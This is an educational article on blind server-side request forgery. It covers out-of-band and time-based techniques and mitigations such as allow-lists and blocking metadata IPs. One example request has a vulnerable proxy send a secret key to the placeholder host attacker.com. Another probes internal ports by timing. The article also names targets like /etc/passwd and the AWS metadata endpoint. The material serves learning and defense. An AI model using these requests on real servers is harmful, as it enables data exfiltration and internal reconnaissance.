Understanding Blind SSRF
Blind Server-Side Request Forgery (SSRF) is a stealthy cybersecurity vulnerability where attackers manipulate a server into making unauthorized requests to internal or external systems. Unlike traditional SSRF, blind SSRF provides no direct feedback, forcing attackers to rely on indirect methods like timing delays or out-of-band (OOB) channels to confirm success. This makes detection and exploitation significantly more challenging.
How Blind SSRF Works
Blind SSRF exploits occur when an application processes user-supplied input to make server-side requests but does not return the response to the attacker. This creates a "blind" scenario where attackers must infer success through alternative techniques.
Key Challenge: Without direct feedback, attackers must use creative methods to validate whether their requests reached the intended target.
Common Attack Vectors
- File-based SSRF: Forces the server to fetch internal files (e.g.,
/etc/passwd). - Network-based SSRF: Probes internal services (e.g.,
http://localhost:22for SSH). - Cloud Metadata Attacks: Targets cloud provider metadata endpoints (e.g.,
http://169.254.169.254in AWS).
Types of Blind SSRF
Out-Of-Band (OOB) SSRF
OOB SSRF leverages a separate communication channel to exfiltrate data or confirm request success. Attackers typically:
- Trigger a request to an attacker-controlled server (e.g., via DNS or HTTP).
- Monitor the external server for incoming connections or data.
Example:
GET /proxy?url=http://attacker.com/exfil?data=secret_key HTTP/1.1
Host: vulnerable-app.com
Use Case: Ideal for extracting sensitive data (e.g., API keys, internal IPs) when direct responses are blocked.
Time-Based (Semi-Blind) SSRF
Time-based SSRF relies on observable delays to infer request success. Attackers:
- Send requests to slow or non-responsive endpoints (e.g.,
http://internal-service:9999). - Measure response times to determine if the request was processed.
Example:
GET /proxy?url=http://localhost:27017 HTTP/1.1
Host: vulnerable-app.com
- Fast Response (e.g., 50ms): Port likely closed/filtered.
- Slow Response (e.g., 2000ms): Port likely open (MongoDB default port).
Comparison of Techniques:
| Technique | Feedback Mechanism | Detection Difficulty | Use Case |
|---|---|---|---|
| Out-Of-Band SSRF | External server logs | Medium | Data exfiltration |
| Time-Based SSRF | Response time delays | High | Port scanning, service probing |
Real-World Impact
Blind SSRF can lead to severe consequences, including:
- Data Breaches: Exfiltrating credentials or personally identifiable information (PII) via OOB channels.
- Internal Network Mapping: Discovering hidden services (e.g., admin panels, databases).
- Cloud Compromise: Accessing cloud metadata (e.g., AWS IAM tokens) to escalate privileges.
Notable Incident: In 2021, a blind SSRF vulnerability in GitHub’s runner allowed attackers to access internal networks.
Mitigation Strategies
Input Validation
- Whitelist allowed domains/IPs: Restrict requests to known safe destinations.
- Block private/reserved IPs: Prevent access to
localhost,169.254.169.254, and other sensitive endpoints.
Network-Level Controls
- Isolate backend services: Use firewalls to segment internal systems.
- Disable unnecessary protocols: Block
file://,gopher://, anddict://schemes.
Monitoring and Detection
- Log outbound requests: Alert on unusual destinations (e.g., attacker-controlled domains).
- Rate-limit requests: Throttle repeated attempts to slow down time-based attacks.
Learn More
Hands-On Labs
- PortSwigger SSRF Labs: Interactive exercises for OOB and time-based SSRF.
- Hack The Box: Real-world SSRF challenges.
Technical References
- OWASP SSRF Guide: Prevention Cheat Sheet
- RFC 3986: URI Syntax (for understanding SSRF vectors).
Tools
- Burp Collaborator: Detect OOB interactions in SSRF testing.
- SSRFmap: Automate SSRF exploitation and detection.